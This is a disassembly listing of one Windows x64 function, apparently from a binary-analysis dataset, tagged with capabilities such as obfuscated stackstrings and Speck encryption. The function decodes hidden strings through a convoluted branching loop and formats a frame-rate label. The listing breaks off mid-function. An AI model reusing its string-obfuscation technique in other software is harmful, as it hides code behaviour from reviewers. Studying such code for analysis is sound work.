Function at 0x140073dc0
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using base64
Encrypt data using speck
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x748]
sub rsp, 0x820
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm10
movaps xmmword [rax - 0x78], xmm11
movaps xmmword [rax - 0x88], xmm12
movaps xmmword [rax - 0x98], xmm13
mov rax, qword [0x1401ec280]
xor rax, rsp
mov qword [rbp + 0x6a8], rax
call fcn.14000ec60
cvttss2si r8d, dword [rax + 0xd0]
lea r10, [rbp + 0x6a5]
test r8d, r8d
jns 0x140073e80
neg r8d
nop dword [rax + rax]
dec r10
mov eax, 0xcccccccd
mul r8d
shr edx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r10], r8b
mov r8d, edx
test edx, edx
jne 0x140073e40
dec r10
mov byte [r10], 0x2d
jmp 0x140073eaa
dec r10
mov eax, 0xcccccccd
mul r8d
shr edx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r10], r8b
mov r8d, edx
test edx, edx
jne 0x140073e80
lea r9, [rsp + 0x50]
lea r8, [rbp + 0x6a5]
mov rdx, r10
lea rcx, [rbp + 0x100]
call fcn.140040840
nop
mov byte [rbp + 0x3c0], 0xca
mov byte [rbp + 0x3c1], 0xe4
mov byte [rbp + 0x3c2], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x3c3], 0xe6
mov byte [rbp + 0x3c4], 0xe6
mov byte [rbp + 0x3c5], 0xe6
mov byte [rbp + 0x3c6], 0xeb
mov byte [rbp + 0x3c7], 0xb7
mov byte [rbp + 0x3c8], 0xc0
mov byte [rbp + 0x3c9], 0xe3
mov byte [rbp + 0x3ca], 0xeb
mov byte [rbp + 0x3cb], 0x1d
mov byte [rbp + 0x3cc], 0xcd
mov byte [rbp + 0x3cd], 0x21
mov byte [rbp + 0x3ce], 0xd3
mov byte [rbp + 0x3cf], 0x8f
mov byte [rbp + 0x3d0], 0x2c
mov byte [rbp + 0x3d1], 0x89
mov byte [rbp + 0x3d2], 0xaa
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x3d3], xmm0
mov dword [rbp + 0x3e3], eax
mov word [rbp + 0x3e7], ax
mov byte [rbp + 0x3e9], al
movabs rsi, 0x8e675f62175bef24
movabs r15, 0x5c1d4daf56721794
movabs r14, 0x9373f776962a6f0c
movabs r12, 0xbb005fb20dfb49f8
movabs r13, 0x92508d96074ebc80
movzx edi, byte [rsp + 0x50]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x2a
jae 0x14007489b
movzx r9d, byte [rbp + r10 + 0x3c0]
movzx r11d, r9b
nop dword [rax + rax]
cmp rbx, r10
ja 0x140074892
lea rdx, [r8 + 1]
cmp rbx, rdx
jae 0x140074000
lea rcx, [r10 + r15]
mov rax, rcx
and rax, r9
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r9
sub dil, 0xc
lea rcx, [r8 + 3]
jmp 0x140074030
je 0x140074819
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400747b1
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140074758
lea rcx, [r8 + 3]
cmp rbx, rcx
je 0x140074733
nop dword [rax]
cmp r8, r10
ja 0x140074889
lea rax, [r8 + 0x400]
cmp rbx, rax
jae 0x140074061
lea rdx, [r10 + rsi]
movzx eax, r9b
and al, dl
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140074090
cmp rbx, rdx
je 0x1400746eb
cmp rbx, rcx
je 0x1400746c9
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400746ad
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007465e
nop dword [rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x140074403
nop dword [rax]
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x1400743e7
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x1400743b9
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140074394
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14007436c
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x140074344
lea rbx, [r8 + 2]
lea r8, [rbx + 6]
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x14007486c
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x14007484f
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x14007418d
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x1400742f2
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x140074274
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x1400740a0
lea rbx, [r8 + 0x5a]
lea r8, [rbx + 3]
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x14007423d
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x140074215
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x1400741f9
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x1400741d1
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x1400741ac
lea rbx, [r8 + 5]
lea r8, [rbx + 0xa]
jmp 0x1400740a0
lea rdx, [r10 + r14]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x54
add dil, dl
jmp 0x140073fc7
movabs rdx, 0x733afb10badf7920
add rdx, r10
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140074702
lea rdx, [r10 + r12]
movzx eax, r9b
and al, dl
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r8
dec r10
inc r10
jmp 0x140073fb4
lea rcx, [r10 + r13]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x80
jmp 0x140074795
movabs rdx, 0x69a0bb7a00a22f08
add rdx, r10
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x38
add dil, dl
jmp 0x1400747d4
movabs rcx, 0xb166201b53bdffe0
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x20
movzx eax, byte [rbp + r10 + 0x3c0]
add rax, r8
add r10, rax
inc r10
jmp 0x140073fb4
movabs rdx, 0x745e64f149bb2bac
add rdx, r10
movzx eax, r9b
and al, dl
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
cmp rbx, 0x41
jae 0x140074624
lea rax, [r8 + 0x20]
cmp rbx, rax
jbe 0x14007455e
lea edx, [r10 + 0x68]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
cmp r8, 4
jb 0x140074614
lea edx, [r10 - 8]
movzx eax, r9b
and al, dl
mov ecx, 0x1c
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x140074705
movabs rdx, 0xbc23c9929cd6fc84
add rdx, r10
movzx eax, r9b
and al, dl
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 1
je 0x140074644
lea rax, [r8 + 5]
cmp rbx, rax
jbe 0x1400744ca
lea edx, [r10 + 0x44]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_select
jmp 0x14007428c
movabs rdx, 0x9e31a0eddf436bb0
add rdx, r10
movzx eax, r9b
and al, dl
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x1400747d4
movabs rdx, 0x7581ced1d896de38
add rdx, r10
movzx eax, r9b
and al, dl
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140074795
movabs rdx, 0xbd4733732bb2af10
add rdx, r10
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x70
jmp 0x14007476f
movabs rcx, 0x4cd1fcb5d1ea50c0
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x40
inc r8
dec r10
inc r10
jmp 0x140073fb4
lea edx, [r10 - 0x68]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x28
jmp 0x140074702
lea rax, [r8 + 0x28]
cmp rbx, rax
jae 0x140074428
lea edx, [r10 - 0x6c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0xc
jmp 0x140074312
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140074462
lea edx, [r10 + 0x48]
movzx eax, r9b
and al, dl
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x3c0]
add rax, r8
add r10, rax
inc r10
jmp 0x140073fb4
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007448a
lea edx, [r10 + 0x70]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x10
add dil, dl
jmp 0x1400747d4
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400744af
lea ecx, [r10 - 0x18]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x58
jmp 0x140074795
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140074315
lea edx, [r10 + 0x38]
mov ecx, 0x3c
jmp 0x14007473c
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400744ef
lea edx, [r10 + 0x6c]
movzx eax, r9b
and al, dl
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140074702
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007451a
lea ecx, [r10 - 0x44]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x24
dec r10
inc r10
jmp 0x140073fb4
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007453f
lea ecx, [r10 + 0xc]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x54
jmp 0x140074795
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140074297
lea edx, [r10 + 0x5c]
mov ecx, 0x3e
movzx r11d, r10b
jmp 0x14007466b
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140074598
lea edx, [r10 - 0x70]
movzx eax, r9b
and al, dl
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x3c0]
add rax, r8
add r10, rax
inc r10
jmp 0x140073fb4
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400745bd
lea ecx, [r10 + 0x30]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x50
jmp 0x140074795
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400745e2
lea edx, [r10 + 0x58]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x68
jmp 0x14007476f
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400742c8
lea ecx, [r10 + 0x80]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x80
dec r10
inc r10
jmp 0x140073fb4
mov byte [rbp + r10 + 0x3c0], dil
inc r10
jmp 0x140073fb4
lea edx, [r10 + 0x20]
movzx eax, r9b
and al, dl
movzx ecx, byte [rbp + r10 + 0x3c0]
sub cl, al
add cl, 0x10
lea edi, [rcx + rcx]
jmp 0x14007476f
movzx r11d, r10b
lea edx, [r11 + 0x48]
movzx eax, r9b
and al, dl
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
jmp 0x140074679
movzx r11d, r10b
lea edx, [r11 + 0x3c]
mov ecx, 0x2e
movzx eax, r9b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
sub r11b, 0x24
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 4
add r11b, r9b
movzx eax, r11b
mov byte [rbp + r10 + 0x3c0], al
inc r8
add rax, r8
sub r10, rax
jmp 0x1400747d4
lea edx, [r10 - 0x3c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x5c
jmp 0x14007476f
lea ecx, [r10 - 0x64]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x44
dec r10
inc r10
jmp 0x140073fb4
lea edx, [r10 + 0x4c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x14
add dil, dl
lea edx, [r10 - 0x74]
movzx eax, r9b
and al, dl
mov ecx, socket
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x3c0], cl
inc r8
dec r10
inc r10
jmp 0x140073fb4
lea edx, [r10 - 0x54]
mov ecx, 0x26
movzx eax, r9b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x140073fb4
lea edx, [r10 - 0x7c]
movzx eax, r9b
and al, dl
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
lea edx, [r10 - 0x4c]
movzx eax, dl
and al, r9b
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, dil
add cl, dl
add cl, r9b
mov byte [rbp + r10 + 0x3c0], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140073fb4
movabs rcx, 0xcc92846cb03a75e4
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x3c
movzx r9d, r11b
lea ecx, [r10 + 0x70]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x10
add r9b, cl
mov byte [rbp + r10 + 0x3c0], r9b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x3c0]
add rax, r8
add r10, rax
inc r10
jmp 0x140073fb4
movabs rcx, 0x1457e90e035646bc
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x24
movzx eax, byte [rbp + r10 + 0x3c0]
add rax, r8
add r10, rax
inc r10
jmp 0x140073fb4
sub r10b, 0x1c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3c
jmp 0x140073fb1
sub r10b, 0x44
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x24
jmp 0x140073fa1
lea rdi, [rbp + 0x167db30]
jmp 0x1400748a2
lea rdi, [rbp + 0x119f2c4]
jmp 0x1400748a2
lea rdi, [rbp + 0x3c0]
mov rbx, 0xffffffffffffffff
nop dword [rax]
inc rbx
cmp byte [rdi + rbx], 0
jne 0x1400748b0
mov r8, qword [rbp + 0x110]
mov rcx, qword [rbp + 0x118]
mov rax, rcx
sub rax, r8
cmp rbx, rax
ja 0x140074957
lea rax, [r8 + rbx]
mov qword [rbp + 0x110], rax
lea rsi, [rbp + 0x100]
cmp rcx, 0xf
cmova rsi, qword [rbp + 0x100]
lea rax, [rbx + rdi]
cmp rax, rsi
jbe 0x140074918
lea rax, [rsi + r8]
cmp rdi, rax
ja 0x140074918
cmp rsi, rdi
ja 0x140074910
xor r14d, r14d
jmp 0x14007491b
mov r14, rsi
sub r14, rdi
jmp 0x14007491b
mov r14, rbx
inc r8
lea rcx, [rsi + rbx]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memmove
mov r8, r14
mov rdx, rdi
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov r8, rbx
sub r8, r14
lea rdx, [r14 + rbx]
add rdx, rdi
lea rcx, [rsi + r14]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 0x100]
jmp 0x140074979
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rdi
xor r9d, r9d
movzx r8d, byte [rsp + 0x50]
mov rdx, rbx
lea rcx, [rbp + 0x100]
call fcn.140042330
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1d0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1c0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1d0], xmm1
xor r14d, r14d
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], r14b
mov rcx, qword [rbp + 0x1d0]
mov rdx, qword [rbp + 0x1d8]
mov rax, rdx
sub rax, rcx
cmp rax, 4
jb 0x140074a02
lea rax, [rcx + 4]
mov qword [rbp + 0x1d0], rax
lea rax, [rbp + 0x1c0]
cmp rdx, 0xf
cmova rax, qword [rbp + 0x1c0]
mov dword [rax + rcx], 0x53504620
mov byte [rax + rcx + 4], r14b
lea rax, [rbp + 0x1c0]
jmp 0x140074a29
mov qword [rsp + 0x20], 4
lea r9, str._FPS
movzx r8d, byte [rsp + 0x50]
mov edx, 4
lea rcx, [rbp + 0x1c0]
call fcn.140041e30
xorps xmm0, xmm0
movups xmmword [rbp + 0x650], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x660], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x650], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x660], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rbp + 0x1d8]
cmp rdx, 0xf
jbe 0x140074aa6
inc rdx
mov rcx, qword [rbp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140074aa1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140074aa1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14013c8a8
movdqa xmm0, xmmword [0x140149080]
movdqu xmmword [rbp + 0x1d0], xmm0
mov byte [rbp + 0x1c0], 0
mov rdx, qword [rbp + 0x118]
cmp rdx, 0xf
jbe 0x140074b09
inc rdx
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140074afc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140074afc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14013c8a8
movdqa xmm0, xmmword [0x140149080]
movdqu xmmword [rbp + 0x110], xmm0
mov byte [rbp + 0x100], 0
call fcn.14000e5e0
mov rsi, rax
lea rdi, [rbp + 0x650]
cmp qword [rbp + 0x668], 0xf
cmova rdi, qword [rbp + 0x650]
movdqa xmm0, xmmword [0x140144420]
movups xmmword [rbp + 0xa0], xmm0
lea rcx, [rbp + 0xa0]
call fcn.14000beb0
mov ebx, eax
movss xmm13, dword [0x14014438c]
mov dword [rsp + 0x54], 0x41200000
mov dword [rsp + 0x58], 0x41200000
call fcn.14000e8d0
mov qword [rsp + 0x40], r14
xorps xmm10, xmm10
movss dword [rsp + 0x38], xmm10
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], ebx
lea r9, [rsp + 0x54]
movss xmm6, dword [0x1401482b8]
movaps xmm2, xmm6
mov rdx, rax
mov rcx, rsi
call fcn.140022470
call fcn.14000e5e0
mov r14, rax
mov byte [rbp + 0x3f0], 0xcd
mov byte [rbp + 0x3f1], 0xb4
mov byte [rbp + 0x3f2], 0xac
mov byte [rbp + 0x3f3], 0xa6
mov byte [rbp + 0x3f4], 4
mov byte [rbp + 0x3f5], 0x2e
mov byte [rbp + 0x3f6], 0x4b
mov byte [rbp + 0x3f7], 0x5e
mov byte [rbp + 0x3f8], 0
mov byte [rbp + 0x3f9], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x3fa], 0x24
mov byte [rbp + 0x3fb], 3
mov byte [rbp + 0x3fc], 0x25
mov byte [rbp + 0x3fd], 0x5b
mov byte [rbp + 0x3fe], 0x5d
mov byte [rbp + 0x3ff], 0x42
mov byte [rbp + 0x400], 0x5a
mov byte [rbp + 0x401], 0x55
mov byte [rbp + 0x402], 0xea
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x403], xmm0
mov qword [rbp + 0x413], rax
mov dword [rbp + 0x41b], eax
mov byte [rbp + 0x41f], al
movabs r15, 0xd543785575c43e7c
movabs r12, 0x7f5f3b0123e6325c
movabs r13, 0x7fca6900614cbb74
movzx edi, byte [rsp + 0x50]
nop word [rax + rax]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x30
jae 0x1400757dd
movzx r9d, byte [rbp + r10 + 0x3f0]
mov r11, r9
nop dword [rax]
cmp rbx, r10
ja 0x1400757d4
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140074cdc
lea rcx, [r10 + r15]
mov rax, r9
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r9
add rdi, rcx
sub dil, 0x64
jmp 0x140074d10
je 0x140075761
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007572e
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140075713
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400756c8
nop dword [rax]
cmp r8, r10
ja 0x1400757cb
lea rax, [r8 + 0x2a]
cmp rbx, rax
jae 0x140074d3a
lea ecx, [r10 + 0x2c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x34
jmp 0x140074d80
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400756ab
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140075683
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140075664
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400755d3
lea rax, [r8 + 9]
cmp rbx, rax
je 0x1400755a5
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x1400752dc
nop dword [rax]
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400752bc
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140075294
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14007526f
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140075369
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140075250
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x140075231
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007521f
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140075200
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x1400751d2
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140074d90
lea rbx, [r8 + 2]
lea r8, [rbx + 0x10]
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x1400757ae
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14007578e
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x140074f8a
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x140074f6b
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x140074f50
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x140075189
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x14007513f
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x1400750fb
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x1400750d4
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x140074d90
lea rbx, [r8 + 0x3e8]
lea r8, [rbx + 0x200]
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x1400750a6
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x140075087
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x140075075
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x140075056
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x140075034
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x140075015
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x140074ff4
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x140074fcc
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x140074fa9
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x140074d90
lea rbx, [r8 + 0x2a]
lea r8, [rbx + 9]
jmp 0x140074d90
lea ecx, [r10 + 0x54]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4c
jmp 0x140074d80
lea edx, [r10 + 0x5c]
movzx eax, dl
and al, r9b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140074d10
lea edx, [r10 + 0x64]
movzx eax, dl
and al, r9b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140074ca6
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x1400756e6
lea edx, [r10 + 0x68]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x140074c93
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x10
dec r10
inc r10
jmp 0x140074c93
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x48
movzx r11d, r10b
jmp 0x140075562
lea ecx, [r10 + 0x80]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x80
add rbx, r8
jmp 0x140075748
lea edx, [r10 - 0x78]
movzx eax, r9b
and al, dl
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140075748
lea edx, [r10 - 0x70]
mov ecx, 8
movzx r11d, r10b
jmp 0x1400755e0
lea edx, [r10 - 0x68]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x28
add dil, dl
jmp 0x14007561f
lea ecx, [r10 - 0x60]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x60
movzx eax, byte [rbp + r10 + 0x3f0]
add rax, r8
add r10, rax
inc r10
jmp 0x140074c93
lea ecx, [r10 + 0x34]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x6c
mov byte [rbp + r10 + 0x3f0], dil
inc r10
jmp 0x140074c93
lea edx, [r10 + 0x3c]
movzx eax, r9b
and al, dl
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
cmp r8, 6
jb 0x1400750eb
movzx r11d, r10b
lea ecx, [r11 + 0x68]
movzx eax, cl
and al, r9b
mov edx, reloc.WS2_32.dll_sendto
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x1400756e6
lea edx, [r10 + 0x44]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
cmp rbx, 0x64
jae 0x140075540
lea rax, [r8 + 0x41]
cmp rbx, rax
jbe 0x140075488
lea edx, [r10 - 0x48]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 8
jmp 0x140075112
lea edx, [r10 + 0x4c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x14
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 9
je 0x14007558e
lea rax, [r8 + 8]
cmp rbx, rax
jbe 0x1400753dd
lea edx, [r10 - 0x74]
movzx eax, r9b
and al, dl
mov ecx, socket
jmp 0x14007514e
lea ecx, [r10 + 8]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x38
movzx eax, byte [rbp + r10 + 0x3f0]
add rax, r8
add r10, rax
inc r10
jmp 0x140074c93
lea edx, [r10 + 0x10]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x70
add dil, dl
jmp 0x14007561f
movzx r11d, r10b
lea edx, [r11 + 0x18]
mov ecx, 0x2c
jmp 0x1400755e0
lea edx, [r10 + 0x20]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
